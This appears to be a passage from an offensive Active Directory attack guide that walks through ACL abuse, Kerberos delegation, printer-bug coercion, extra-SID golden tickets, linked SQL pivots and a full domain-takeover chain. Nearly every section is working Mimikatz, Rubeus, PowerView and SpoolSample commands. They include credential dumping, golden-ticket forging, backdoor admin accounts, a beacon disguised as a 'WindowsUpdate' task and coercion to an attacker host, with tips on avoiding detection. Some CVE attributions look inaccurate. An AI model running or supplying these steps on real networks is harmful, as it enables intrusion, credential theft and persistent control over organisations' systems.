Get-ObjectAcl -Identity "domain admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}

# Use BloodHound to visualize permission abuse paths
# Ingest AD data and look for "Has GenericAll" edges toward high-value targets

Why: Understanding who has what permissions on critical AD objects reveals attack chains without requiring credential compromise first.

Abusing GenericAll

GenericAll (full control) on a user object allows an attacker to change their password, add themselves to groups, or modify their attributes without needing current credentials. When a low-privilege user has GenericAll on a Domain Admin, it becomes an instant privilege escalation vector. This is often granted unintentionally through group membership or delegation mistakes.

Exploitation:

# Change password of target user (requires GenericAll)
Set-DomainUserPassword -Identity "target_user" -AccountPassword (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force)

# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker_user"

# Add GenericAll permission on Domain Admins for persistence
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "attacker_user" -Rights GenericAll

Why: These techniques bypass the need to brute force or crack passwords—you modify the object directly with the permissions you've discovered.

Abusing WriteDACL

WriteDACL permission allows modifying the DACL (permissions) of an object. An attacker with WriteDACL on Domain Admins can grant themselves GenericAll, then abuse it for privilege escalation. This is a two-step privilege escalation: first add permissions, then use those permissions to compromise the object. WriteDACL is often overlooked because it's not immediately exploitable without a second step.

Exploitation:

# Grant yourself GenericAll on Domain Admins using WriteDACL
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "attacker_user" -Rights GenericAll

# Now use GenericAll to add yourself to the group or change admin password
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker_user"

# Alternative: Grant WriteProperty on the member attribute
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "attacker_user" -Rights WriteProperty -Property "member"

Why: WriteDACL is a persistence mechanism—it lets you grant yourself permanent access even if your current compromise is discovered and removed.


Kerberos Delegation

Unconstrained Delegation

Unconstrained delegation allows a service to request a Kerberos ticket to any resource on behalf of a user who authenticates to it. When a user sends a TGS request to an unconstrained delegation service, the user's TGT is embedded in the service ticket (in the FORWARDABLE field). If the attacker compromises the service, they can extract this TGT and impersonate the user to any Kerberos service. This is extremely powerful if a Domain Admin authenticates to a compromised unconstrained delegation service.

Exploitation:

# Find unconstrained delegation services
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

# Compromise the unconstrained delegation service (SYSTEM level access)
# Run as SYSTEM to collect TGTs

# Using Rubeus (requires admin on the target service):
Rubeus.exe monitor /interval:5 /filteruser:ADMIN /targetuser:ADMIN

# If a DA connects, their TGT appears in output; save it
# Then use it for impersonation:
Rubeus.exe ptt /ticket:[base64_TGT]

Why: Unconstrained delegation is a waiting game—compromise a service and wait for high-privilege users to authenticate. One DA connection gets you domain admin. The TGT embedded in service tickets is the direct key to the kingdom.

I Am a Domain Controller (RBCD Printer Bug)

The printer bug (CVE-2019-1040 / CVE-2019-1166) exploits the RPC interface RpcRemoteFindFirstPrinterChangeNotification on print spoolers. When triggered, the print spooler initiates a connection back to the attacker's machine, sending its own computer account credentials via NTLM or Kerberos. By coercing a Domain Controller's print spooler to authenticate, an attacker can capture its TGT and use Resource-Based Constrained Delegation (RBCD) to escalate to Domain Admin.

Exploitation:

# Use SpoolSample.exe to trigger printer bug on DC
# First set up RBCD on target service pointing to DC
Set-ADComputer -Identity "TARGET_SERVICE" -PrincipalsAllowedToDelegateTo "DC$"

# Trigger DC to authenticate back (requires network access to DC port 445)
SpoolSample.exe DC$ ATTACKER_IP

# Capture the DC's TGT and use it
Rubeus.exe s4u /user:DC$ /ticket:[captured_TGT] /msdsspn:krbtgt/DOMAIN /impersonateuser:ADMIN /ptt

Why: Coercing the DC itself gives you a TGT from the most privileged account in the domain, making RBCD devastatingly effective.

Constrained Delegation

Constrained delegation restricts a service to request tickets only to specific target services listed in the msDS-AllowedToDelegateTo attribute. While more restrictive than unconstrained delegation, it still allows privilege escalation if the service can delegate to sensitive resources (like krbtgt or a Domain Admin's computer). An attacker with a service account with constrained delegation can use S4U2Self and S4U2Proxy to impersonate any user to the allowed resource.

Exploitation:

# Find constrained delegation services
Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_."msDS-AllowedToDelegateTo" -ne $null}

# Compromise the service account (obtain its password/hash)
# Use Rubeus to abuse S4U2Self and S4U2Proxy
Rubeus.exe s4u /user:compromised_service$ /rc4:HASH /impersonateuser:ADMIN /msdsspn:ALLOWED_TARGET /ptt

# Ticket is created and injected into current session
# Use resulting ticket to access the delegated service

Why: Constrained delegation is exploitable because S4U2Self doesn't check if the service legitimately needs to delegate—it trusts the service account to make the decision. Abuse the same mechanism the legitimate feature uses.

Resource-Based Constrained Delegation (RBCD)

RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) moves the trust relationship to the resource being accessed rather than the service making the request. A computer account can specify which principals are allowed to delegate to it. If an attacker can write to this attribute on a target, they can grant their own compromised service account delegation rights, then use S4U2Self and S4U2Proxy. This bypasses the need to compromise a service with pre-configured delegation and is especially dangerous because many admin accounts don't filter which machines can delegate to them.

Exploitation:

# If you have WriteDACL on a target computer (e.g., via AD permission abuse)
# First obtain a service account you control (or create one with sufficient permissions)

# Use PowerMad or similar to add RBCD right on target
Set-ADComputer -Identity "TARGET_COMPUTER" -PrincipalsAllowedToDelegateTo "CONTROLLED_SERVICE$"

# Alternatively, direct LDAP modification:
# Write to msDS-AllowedToActOnBehalfOfOtherIdentity with your service account SID

# Then use Rubeus:
Rubeus.exe s4u /user:CONTROLLED_SERVICE$ /rc4:HASH /impersonateuser:ADMIN /msdsspn:cifs/TARGET_COMPUTER.DOMAIN /ptt

# Access the target via the delegated ticket
dir \\TARGET_COMPUTER\c$

Why: RBCD combined with AD permission abuse creates a two-stage attack: abuse WriteDACL on a target computer, then grant yourself RBCD rights, then impersonate an admin. The DA likely never compromises your initial foothold account, and you maintain access via the ticket even if passwords change.


Active Directory Forest Theory

Active Directory Trust in a Forest

A forest is a collection of domains sharing a common schema, configuration, and Global Catalog. Domains in a forest automatically have two-way transitive trusts via the forest root. If a user in Domain A is in a group that grants permissions in Domain B, their access is recognized due to transitive trust. Transitive trusts can be exploited for lateral movement across the entire forest if not properly restricted. Trust relationships are the connectivity graph for lateral movement in multi-domain environments.

Key concepts:

  • Transitive trust: Domain A trusts Domain B, Domain B trusts Domain C → Domain A trusts Domain C
  • SID filtering: Restricts foreign SIDs in tickets to prevent privilege escalation across trusts (enabled by default for external trusts, not for within-forest trusts)
  • Forest root: The first domain created; all other domains trust it

Why: Understanding forest trust topology reveals paths to compromise the entire forest through single entry points. Within-forest trusts lack SID filtering, making extra-SID attacks viable.

Enumeration in the Forest

Multi-domain forests require enumerating trusts, trust direction, and cross-domain group memberships to identify lateral movement paths. Tools like nltest and Get-DomainTrust map the trust topology. User enumeration across domains reveals DA-like accounts in other domains or service accounts with sensitive delegations. The goal is finding weak links: accounts with excessive permissions, delegation abuse possibilities, or accounts trusted across domains.

Enumeration:

# Map forest trust relationships
Get-DomainTrust -Domain DOMAIN.com

# Enumerate foreign group memberships (users from other domains with local permissions)
Get-DomainForeignGroupMember -Domain DOMAIN.com

# Find cross-domain group memberships
Get-DomainGroupMember -Identity "DOMAIN\Domain Admins" -Recurse | Where-Object {$_.MemberDomain -ne "DOMAIN.com"}

# Find users with cross-domain logon rights
Get-DomainUser -Filter * | Get-ObjectAcl | Where-Object {$_.ObjectDN -like "*cn=default domain controller policy*"}

# Use nltest for quick trust enumeration
nltest /domain_trusts
nltest /trust_status /v

Why: Each trust relationship is a potential bridge into other domains. Enumerating them maps your targets and reveals which compromises are worth pursuing for maximum impact.


Burning Down the Forest

Owning the Forest with Extra SIDs

The Extra SIDs field in a Kerberos ticket contains SIDs of groups a user belongs to. Within-forest trusts do NOT filter these SIDs—they trust the issuing DC implicitly. An attacker with a Domain Admin's ticket can forge a new ticket adding the forest root's Enterprise Admins SID to the Extra SIDs field. When presented to any domain in the forest, the ticket grants Enterprise Admin privileges. This is called a Golden Ticket escalation or extra-SID attack. It requires only compromising a single domain's DA account.

Exploitation:

# First, obtain domain admin credentials or hash
# Run Mimikatz to extract krbtgt hash from current DC
lsadump::dcsync /user:DOMAIN\krbtgt

# Run Mimikatz as admin to create a golden ticket with forest root Enterprise Admins SID
kerberos::golden /user:fakeadmin /domain:DOMAIN.com /sid:S-1-5-21-DOMAIN_SID /krbtgt:KRBTGT_HASH /sids:S-1-5-21-FOREST_ROOT_SID-519 /ticket:ticket.kirbi

# The 519 RID is Enterprise Admins in the forest root
# Inject the ticket:
kerberos::ppt /ticket:ticket.kirbi

# Access any resource in the forest as Enterprise Admin

Why: Extra-SID attacks work because the trust relationship assumes DCs properly validate tickets—they don't check if the SIDs are actually valid for the user. You're forging a ticket the DC will accept without verification.

Owning the Forest with Printers

The printer bug combined with unconstrained delegation on DCs (or RBCD) allows compromising the entire forest. If the DC print spooler can be coerced to authenticate to an attacker's machine running an unconstrained delegation service, the attacker captures the DC's TGT. Using this TGT, the attacker impersonates the DC to any Kerberos service, including dumping the krbtgt hash or escalating to Enterprise Admins. This bypasses the need to crack passwords or find other attack chains.

Exploitation:

# On attacker machine with unconstrained delegation (or RBCD setup):
# First set up a listener or honey pot
# Trigger printer bug on DC
SpoolSample.exe DC.DOMAIN.com ATTACKER_IP

# DC's print spooler connects back; capture the TGT with Rubeus
Rubeus.exe monitor /interval:5

# Retrieve TGT and use it
Rubeus.exe ptt /ticket:[DC_TGT]

# Now access DC or request krbtgt hash
lsadump::dcsync /user:DOMAIN\krbtgt

Why: Printers are ubiquitous in enterprise networks and rarely secured. The bug coerces an authenticated connection without user interaction, making it a reliable post-compromise lateral movement technique.


Going Beyond the Forest

Active Directory Trust Between Forests

External trusts connect forests, allowing users from one forest to authenticate to resources in another. These trusts have SID filtering enabled by default, preventing users from one forest appearing with high-privilege SIDs in another forest. However, trusts can be misconfigured (SID filtering disabled) or bypassed through alternative methods. Forest trust enumeration reveals trust direction and filtering status. Compromising a resource in the trusting forest with access to a trusted forest can pivot across the trust boundary.

Trust types:

  • One-way trust: Forest A trusts Forest B (B users can auth to A)
  • Two-way trust: Mutual authentication across forests
  • Transitive trust: Between forests, only if explicitly configured (not default)

Enumeration:

# Enumerate forest trusts from current domain
Get-DomainTrust -Domain DOMAIN.com | Where-Object {$_.TrustDirection -match "Inbound|Outbound"}

# Check if SID filtering is enabled
Get-DomainTrust -Domain DOMAIN.com | Select-Object SourceName,TargetName,TrustAttributes

# tlntrust attribute values:
# 0x00000001 = transitive
# 0x00000008 = intra-forest
# 0x00000010 = external trust
# 0x00000020 = forest trust
# 0x00000001 in forest trust = transitive

Why: Forest trusts are organization-level connections. If misconfigured or if a resource in the trusting forest is compromised, it becomes a pivot point to compromise the entire trusted forest.

Enumeration Beyond the Forest

Enumerating across forest trusts requires gaining access from the trusting forest's perspective. Once a foothold exists in a resource with cross-forest access, enumerate users, groups, and permissions in the trusted forest. Domain users and Enterprise Admins in a trusted forest may have permissions on resources in the trusting forest. The goal is identifying whether trust filtering is effective or if privilege escalation paths cross the boundary.

Cross-forest enumeration:

# From compromised system in Forest A, enumerate Forest B users
Get-DomainUser -Domain FOREST_B.com -Server DC_IN_FOREST_B

# Enumerate forest B domain admins
Get-DomainGroupMember -Domain FOREST_B.com -Identity "Domain Admins"

# Check for cross-forest trust abuse via linked SQL servers
Get-DomainComputer -Filter * -Properties linkedServiceAccountName | Where-Object {$_.linkedServiceAccountName -match "FOREST_B"}

# Identify trusts allowing password hash / ticket pass-through
nltest /domain_trusts /all_trusts /v

Why: Cross-forest enumeration reveals whether the trust boundary is exploitable and whether sensitive accounts in the other forest have permissions in your current forest.


Compromising Additional Forest

Show Me Your Extra SID

If an external trust exists without proper SID filtering, an attacker with a DA in the trusting forest can add foreign Enterprise Admin SIDs from the trusted forest to their golden ticket. When the ticket is used against a resource in the trusted forest, the DC treats the foreign Enterprise Admin SID as valid. This grants cross-forest privilege escalation without separately compromising the trusted forest. Requires identifying the forest root SID of the target forest and confirming SID filtering is disabled.

Exploitation:

# Identify forest root SID of trusted forest
nltest /trusted_domains /v
# Extract forest root SID: S-1-5-21-TRUSTED_FOREST_SID

# Create golden ticket with enterprise admins SID from trusted forest
kerberos::golden /user:fakeadmin /domain:DOMAIN.com /sid:S-1-5-21-CURRENT_DOMAIN_SID /krbtgt:KRBTGT_HASH /sids:S-1-5-21-TRUSTED_FOREST_SID-519 /ticket:ticket.kirbi

# Inject and access trusted forest resources
kerberos::ppt /ticket:ticket.kirbi
dir \\TRUSTED_FOREST_DC\c$

Why: SID filtering is the only real defense against cross-forest extra-SID attacks. Without it, a single DA compromise in one forest compromises the entire trusted forest.

Linked SQL Servers in the Forest

SQL Servers in one domain can be linked to SQL Servers in other domains or forests via Linked Server functionality. These links often use credentials (service accounts) stored in the SQL instance to authenticate to remote servers. An attacker with access to a SQL Server can enumerate linked servers, request credentials, and use them to pivot to servers in other domains or forests. SQL Server Extended Stored Procedures (xp_cmdshell) allow remote command execution, making linked SQL servers a direct lateral movement tool.

Exploitation:

# Connect to compromised SQL Server (if you have credentials or exec access)
# Enumerate linked servers
SELECT * FROM master.sys.servers WHERE is_linked = 1

# Enumerate credentials used by linked servers
EXEC master.dbo.sp_helplinkedsrvlogin

# Query a linked server to verify access
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@servername')

# If xp_cmdshell is enabled, execute commands on linked server
EXEC ('xp_cmdshell "whoami"') AT [LINKED_SERVER]

# Pivot to other linked servers in the chain
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT * FROM master.sys.servers WHERE is_linked = 1')

Why: Linked SQL Servers are often forgotten in security reviews because they appear as internal connectivity rather than a trust relationship. They're bidirectional and often stored with plaintext or easily reversible credentials, making them a high-value pivot point across domain and forest boundaries.


Chapter 17: Combining the Pieces

Enumeration and Shell

Initial Enumeration

Begin by passively determining the domain structure, identifying key targets, and understanding the access level of the initial foothold. This includes discovering the domain name, forest structure, user base, computer systems, and trust relationships. Avoid noisy scans; use living-off-the-land techniques and existing AD queries. Identify high-value targets (Domain Admins, Enterprise Admins, service accounts with delegation rights, SQL Servers) and lower-privilege users or service accounts that might be compromise vectors. The goal is mapping the attack surface before attempting privilege escalation.

Initial enumeration commands:

# Get current domain and forest info
Get-Domain
Get-Forest
Get-DomainSID

# Enumerate Domain Admins and Enterprise Admins
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroupMember -Identity "Enterprise Admins" -Recurse

# Find service accounts and users with delegation rights
Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName
Get-ADComputer -Filter {TrustedForDelegation -eq $true}

# Enumerate computers and identify key systems
Get-DomainComputer -Filter * -Properties OperatingSystem | Group-Object OperatingSystem

# Check for web servers, SQL servers, file servers
Get-DomainComputer -Filter {OperatingSystem -like "*Server*"}

Why: Enumeration without action prevents IDS/EDR detection. You're building a target list and understanding the landscape before making suspicious moves.

Gaining an Initial Foothold

Initial foothold can be obtained through multiple vectors: weak credentials (password reuse, default passwords, weak password policies), phishing, exploiting public-facing vulnerabilities, or compromising third-party software. Once a shell is obtained (regardless of privilege level), stabilize the access and begin privilege escalation. Foothold accounts are often low-privilege users, service accounts, or compromised computers. The key is having persistent, reliable access from which to enumerate and escalate. Avoid noisy behavior on the foothold machine until you fully understand the environment.

Foothold stabilization:

# Add a backdoor user (persistent access if original foothold is burned)
net user hacker Password123! /add
net localgroup administrators hacker /add

# Or add persistence via scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\temp\beacon.exe" /sc minute /mo 5

# Dump LSASS for cached credentials (if admin)
# Use Mimikatz or SharpKiller
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Enumerate current user's access to network shares and resources
net view
net use
whoami /priv

Why: Initial foothold is fragile. You need persistence and credential material before moving aggressively. Once you have both, the actual privilege escalation becomes tactical rather than desperate.

Post Exploitation Enumeration

After gaining a foothold, perform deeper enumeration to identify the specific privilege escalation path. This includes finding users with weak credentials, service accounts with stored passwords, unpatched systems, misconfigurations in AD permissions, delegation opportunities, or stored credentials in files/registry. Use tools like SharpHound (BloodHound collector) to map the entire AD structure and identify shortest paths to Domain Admin. Determine whether the initial foothold account has any special permissions, group memberships, or token access that immediately unlocks an escalation path.

Post-exploitation enumeration:

# Run SharpHound for BloodHound analysis (requires execution rights)
SharpHound.exe -c All -d DOMAIN.com

# Check for stored credentials in common locations
findstr /S /I password "C:\Program Files\*\config.xml"
dir "C:\Users\*\AppData\Local\*" /s /b | findstr /I password

# Enumerate AD permissions on current user's groups
Get-ObjectAcl -Identity "DOMAIN\Domain Admins" | Where-Object {$_.SecurityIdentifier -match (whoami /user /fo csv | ConvertFrom-Csv | Select-Object -ExpandProperty SID)}

# Check for Kerberoastable and ASREProastable users
Get-DomainUser -PreauthNotRequired
Get-DomainUser -SPN | Select-Object serviceprincipalname

# Identify weak password policies
Get-DomainPasswordPolicy

Why: Post-exploitation enumeration reveals the fastest path to DA. Instead of trying random escalation techniques, you target the specific misconfigurations and weak points in your environment.


Attacking Delegation

Privilege Escalation

Privilege escalation in a domain environment typically targets delegation abuse, permission misconfigurations, or cached credentials. The most direct path is finding a user or service account with delegation rights (unconstrained or constrained) or AD permissions (WriteDACL, GenericAll) over high-privilege accounts. If the target account is a service account, compromise it via Kerberoasting, ASREProasting, or cleartext credentials in files. Once compromised, use the service account's delegation rights to impersonate a Domain Admin and obtain their TGT or session key.

Privilege escalation techniques:

# Kerberoasting: Find SPNs and request tickets
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Rubeus.exe kerberoast /user:service_account

# ASREProasting: Find users without Kerberos preauth
Get-DomainUser -PreauthNotRequired
Rubeus.exe asreproast

# Find unconstrained or constrained delegation targets
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_."msDS-AllowedToDelegateTo" -ne $null}

# If you have a service account, use S4U2Self and S4U2Proxy
Rubeus.exe s4u /user:service_account$ /rc4:HASH /impersonateuser:admin /msdsspn:cifs/target /ptt

Why: Delegation and permission misconfigurations are the most common paths to DA because they're often set up for legitimate functionality but grant more access than needed. They also don't require cracking passwords—just exploiting intended features.

Getting the Hash

Once a target service account or user is identified, obtain their password hash or credentials. For service accounts, this is often done via Kerberoasting (requesting encrypted tickets that can be cracked offline) or ASREProasting (if preauth is disabled). For other accounts, credentials may be found in files, registry, memory (Mimikatz), or obtained via phishing. The hash is the key to using delegation techniques without needing plaintext passwords.

Hash extraction methods:

# Kerberoasting and ticket cracking
GetUserSPNs.py -dc-ip DC_IP domain.com/user:password
hashcat -m 13100 hash.txt rockyou.txt

# ASREProasting
Rubeus.exe asreproast
john --format=krb5asrep hash.txt

# Dumping LSASS (requires SYSTEM or admin)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Or use SharpKiller, Dumpert, Nanodump

# Dumping SAM (SYSTEM access)
reg save HKLM\sam sam.hive
reg save HKLM\system system.hive
# Extract offline with hashcat

# Finding stored credentials
Get-Credential | Export-CliXml credential.xml
# Read back: Import-CliXml credential.xml

# Check for cleartext passwords in common locations
findstr /S /I password "C:\Program Files\*\config.txt"
Get-Content "C:\Users\*\AppData\Local\Temp\*" | findstr /I password

Why: The hash is the skeleton key to delegation attacks. Without it, you can't impersonate users via Kerberos tickets. With it, you can forge tickets and escalate without alerting the original user.

Delegate My Ticket

Once you have a service account's hash and confirmation of its delegation rights (unconstrained or constrained), use Rubeus or similar tools to request a TGT for the service account, then use S4U2Self and S4U2Proxy to request a service ticket for a high-privilege user (like Domain Admin) to a target service. This ticket can be injected into the current session and used to access the target resource as if you're the DA. The attack is silent and doesn't leave traces on the DA's account.

Delegation attack:

# Request TGT for compromised service account
Rubeus.exe asktgt /user:service_account$ /rc4:HASH /domain:DOMAIN.com /outfile:tgt.kirbi

# Use S4U2Self to impersonate an admin user
Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:admin /msdsspn:cifs/target_computer.domain.com /outfile:s4u.kirbi

# Inject the forged ticket into current session
Rubeus.exe ptt /ticket:s4u.kirbi

# Access the target resource as the impersonated admin
dir \\target_computer\c$

Why: S4U2 extensions are legitimate Kerberos features designed for service-to-service impersonation. Attackers abuse them because they're trusted by the DC and don't require the DA to authenticate—the DC just grants the ticket based on the service account's delegation rights.


Owning the Domain

Lateral Movement

Lateral movement is the process of moving from your initial foothold to high-value targets (file servers, SQL servers, Domain Controllers) to gain credentials, sensitive data, or access to the DA account. Methods include: using obtained credentials to authenticate to systems, exploiting trust relationships between computers, abusing delegation rights, leveraging PtH (Pass-the-Hash), or pivoting through compromised service accounts. The key is maintaining stealth—avoid noisy network traffic or actions that trigger alerts. Use legitimate tools and features (net use, psexec, RDP) where possible to blend in with normal admin activity.

Lateral movement techniques:

# Use obtained credentials
net use \\target_computer /user:DOMAIN\username password
dir \\target_computer\c$

# PtH with compromised hash (requires admin or specific tools)
mimikatz.exe "sekurlsa::pth /user:admin /domain:DOMAIN.com /ntlm:HASH /run:powershell.exe"

# PsExec with credentials
psexec.exe \\target_computer -u DOMAIN\username -p password cmd.exe

# Lateral movement via WMI (if you have credentials and WMI access)
Invoke-WmiMethod -ComputerName target_computer -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > c:\temp\proof.txt"

# Use obtained tickets for Kerberos-based access
klist /new kerberos
Rubeus.exe ptt /ticket:ticket.kirbi

Why: Lateral movement is where you convert initial access into domain control. Each system you compromise can yield new credentials or access paths, progressively expanding your reach until you control a system where a DA has logged in or a DC is accessible.

Becoming Domain Admin

The final step is obtaining full domain admin privileges. This is typically done by dumping the krbtgt hash from a Domain Controller (using dcsync or directly from LSASS if the DC is compromised) and creating a golden ticket with the DA's SID. Alternatively, if you have unconstrained delegation on a DC or access to a system where a DA regularly authenticates, capture their TGT and use it directly. Once you hold the krbtgt hash, you're persistent in the domain regardless of password changes—any golden ticket you create is valid until the krbtgt hash is reset.

Becoming Domain Admin:

# Compromise a DC (via lateral movement, exploitation, or physical access)
# Option 1: Dump krbtgt hash via dcsync
mimikatz.exe "lsadump::dcsync /user:DOMAIN\krbtgt" exit

# Option 2: Dump from DC LSASS directly
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Create golden ticket with krbtgt hash
kerberos::golden /user:fakeadmin /domain:DOMAIN.com /sid:S-1-5-21-DOMAIN_SID /krbtgt:KRBTGT_HASH /ticket:golden.kirbi

# Inject golden ticket
kerberos::ppt /ticket:golden.kirbi

# Verify domain admin access
dir \\DC\c$
whoami /groups  # Should show Domain Admins, Enterprise Admins

# Alternative: If you have unconstrained delegation on a DC
# Wait for a DA to authenticate or force a coerced authentication
Rubeus.exe monitor /interval:5 /targetuser:ADMIN

# Once DA TGT is captured, use it directly
Rubeus.exe ptt /ticket:[DA_TGT]

Why: The krbtgt hash is the master key to the domain. It's not your real credentials—it's the key the DC uses to validate all tickets. Once you have it, you can create tickets for any user, with any permissions, for any duration. You're effectively the domain now.


Attack Synthesis Summary

A complete attack chain typically follows this pattern:

  1. Gain Initial Foothold: Via phishing, exploitation, weak credentials, or third-party compromise.
  2. Enumerate: Identify the domain structure, high-value targets, and available escalation paths using AD queries and BloodHound.
  3. Escalate Privileges: Target the weakest link—a service account with delegation rights, a user with AD permission abuse, or a Kerberoastable account.
  4. Obtain Credentials: Extract the hash via Kerberoasting, memory dumps, or stored credentials.
  5. Lateral Movement: Use obtained credentials or delegation tickets to move toward Domain Controllers and high-privilege accounts.
  6. Compromise DC: Dump the krbtgt hash or capture a DA's TGT.
  7. Persistence: Create golden tickets for permanent access or add backdoor accounts.

Each step builds on the previous one. The entire attack is silent if executed properly—no brute force, no obvious privilege escalation, just exploitation of legitimate features and misconfigurations.